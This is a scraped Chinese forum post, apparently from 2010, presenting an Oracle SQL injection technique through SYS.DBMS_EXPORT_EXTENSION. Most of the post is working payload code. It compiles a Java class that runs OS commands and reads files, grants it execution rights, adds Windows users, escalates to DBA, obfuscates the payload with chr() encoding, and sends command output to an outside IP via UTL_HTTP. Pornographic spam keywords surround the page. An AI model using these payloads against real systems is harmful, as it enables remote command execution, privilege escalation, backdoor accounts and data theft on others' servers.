毛片网站在线看_天堂俺去俺来也www久久婷婷_日韩av免费网站_18性欧美xxxⅹ性满足_一区二区三区韩国免费中文网站 _性xx色xx综合久久久xx_999亚洲国产精

Rss & SiteMap

曙海教育集團論壇 http://www.bjzhda.cn

曙海教育集團論壇
共1 條記錄, 每頁顯示 10 條, 頁簽: [1]
[瀏覽完整版]

標題:犀利的 oracle 注入技術

1樓
wangxinxin 發表于:2010-12-11 11:04:20
介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual
共1 條記錄, 每頁顯示 10 條, 頁簽: [1]

Copyright © 2000 - 2009 曙海教育集團
Powered By 曙海教育集團 Version 2.2
Processed in .03125 s, 2 queries.
毛片网站在线看_天堂俺去俺来也www久久婷婷_日韩av免费网站_18性欧美xxxⅹ性满足_一区二区三区韩国免费中文网站 _性xx色xx综合久久久xx_999亚洲国产精
国产精品亚洲视频| 欧美群妇大交群中文字幕| 亚洲欧洲在线观看av| 国产精品色呦呦| 99re这里只有精品6| 91小视频在线免费看| 中文字幕综合网| 久久精品视频网| 在线一区二区三区| 国产在线精品一区二区| 亚洲欧美自拍偷拍色图| 日韩午夜电影在线观看| 欧美日韩的一区二区| 精品视频在线免费观看| 在线观看欧美精品| 2024国产精品| 国产精品狼人久久影院观看方式| 欧美精品一区二区三区蜜臀| 欧美日韩一区中文字幕| 欧美精品一区二区精品网| 日韩综合在线视频| 亚洲天堂网中文字| 久久成人免费电影| 日韩成人一区二区三区在线观看| 国产精品欧美一区二区三区| 丁香六月久久综合狠狠色| 亚洲一区二区三区四区在线免费观看 | 91久久国产综合久久| 麻豆国产精品一区二区三区| 欧美日韩一区二区三区免费看| 蜜芽一区二区三区| 国产福利不卡视频| 日韩一区二区三区三四区视频在线观看| 裸体健美xxxx欧美裸体表演| 欧美老肥妇做.爰bbww| 日韩亚洲欧美一区| 色天使色偷偷av一区二区| 欧美一区二区三区视频在线| 欧美三级在线看| 91小视频在线观看| 紧缚捆绑精品一区二区| 综合网在线视频| 日韩一二三区视频| 欧美一级黄色大片| 国产精品系列在线| 黄页网站大全一区二区| 国产精品一二三四| 国产一区二区毛片| 3d成人h动漫网站入口| 中文字幕精品一区二区三区精品| 亚洲成人动漫精品| 日本美女一区二区三区| 在线观看视频一区二区| 欧美日韩午夜在线视频| 亚洲成人动漫精品| 色综合久久88色综合天天6| 国产精品久久久久影院色老大 | 亚洲你懂的在线视频| 日本韩国欧美在线| 日韩黄色在线观看| 777a∨成人精品桃花网| 国产·精品毛片| 国产日韩一级二级三级| 成人免费av网站| 亚洲va欧美va人人爽| 欧美性色黄大片手机版| 欧美一区二区三区系列电影| 99视频超级精品| 一区二区三区不卡在线观看 | 91老师片黄在线观看| 中文字幕一区二| 欧美一级精品在线| 欧美日韩中文另类| 91麻豆6部合集magnet| 国产一区二区三区在线观看免费 | 亚洲成av人片| 美国av一区二区| 国产欧美日韩亚州综合| 日本一区二区三区国色天香| 亚洲高清免费视频| 精品一区二区在线播放| 91精品国产综合久久福利| 一区二区三区久久| 国产精品国产三级国产普通话蜜臀| 日韩欧美中文字幕一区| 自拍偷拍国产精品| 日av在线不卡| 久久不见久久见免费视频7| 久久久久久99精品| 蜜臀久久99精品久久久久久9| 久久久久久久久久久电影| 国产剧情一区二区| 国产成人av福利| 韩日av一区二区| 蜜臀av一区二区| 日韩精品成人一区二区在线| 亚洲图片另类小说| 亚洲日本护士毛茸茸| 久久九九99视频| 欧美在线你懂得| 99re热视频精品| 99re热视频精品| 色先锋资源久久综合| 日韩精品最新网址| 国产精品一级二级三级| 91一区二区在线| 欧美v亚洲v综合ⅴ国产v| 欧美成人在线直播| 欧美一区二区三区喷汁尤物| 久久免费国产精品 | 日本一区二区免费在线观看视频 | 欧美一区二区三区在线观看视频 | 久久精品国产亚洲一区二区三区 | 男男视频亚洲欧美| 99re免费视频精品全部| 久久久一区二区| 欧美综合久久久| 日韩在线播放一区二区| 日本一区二区三区高清不卡| 国内精品在线播放| 久久综合九色综合97婷婷女人 | 欧美日韩三级一区| 成人在线综合网站| 首页国产丝袜综合| 91国偷自产一区二区开放时间 | 国产99久久久精品| 国产精品毛片久久久久久| 欧美在线制服丝袜| 成人av在线资源网| 国产在线麻豆精品观看| 综合久久久久久| 精品久久久久久综合日本欧美| 国产成人啪免费观看软件| 视频在线观看一区| 亚洲国产精品人人做人人爽| 欧美日韩国产综合草草| 国产精品一区三区| 欧美视频在线不卡| 欧美精品久久一区二区三区| 91麻豆精品国产91久久久久久| av影院午夜一区| 国产福利一区二区三区在线视频| 国产精品一区二区在线播放| 亚洲综合免费观看高清完整版在线| 中文字幕乱码亚洲精品一区| 欧美精品在线视频| 欧美人与z0zoxxxx视频| 欧美xxxxxxxxx| 亚洲美女少妇撒尿| 中文字幕一区二区三区av| 亚洲国产精品国自产拍av| 欧美成人精品1314www| 国产人成一区二区三区影院| 亚洲第一电影网| 国产成人av电影在线| 丁香激情综合国产| 高清在线观看日韩| 精品在线免费视频| 欧美三级电影网站| 亚洲国产精品99久久久久久久久| 一区二区久久久| 午夜欧美视频在线观看| 日韩电影在线观看网站| 韩国精品在线观看| 欧美这里有精品| 亚洲另类中文字| 欧美亚洲综合网| 久久久久99精品一区| 亚洲人成伊人成综合网小说| 美女性感视频久久| 欧美视频一区二区三区在线观看| 欧美成人伊人久久综合网| 激情五月婷婷综合网| 欧美日韩一级视频| 亚洲日本在线观看| 国产成人综合网| 日本va欧美va精品发布| 欧美va亚洲va| 日韩成人av影视| 欧美性猛片xxxx免费看久爱| 国产日韩欧美高清在线| 国产一区二区在线视频| 国产婷婷一区二区| 91免费国产在线观看| 亚洲欧洲三级电影| 国产91富婆露脸刺激对白| 国产精品丝袜黑色高跟| 91看片淫黄大片一级| 日本欧美一区二区三区| 一区二区理论电影在线观看| 色婷婷综合视频在线观看| 亚洲国产日韩a在线播放性色| 日韩一区二区三区电影| youjizz久久| 国产成人鲁色资源国产91色综 | 亚洲国产精品t66y| 欧美电视剧在线观看完整版| 亚洲一二三四在线| 欧美一二三四在线| 97国产一区二区|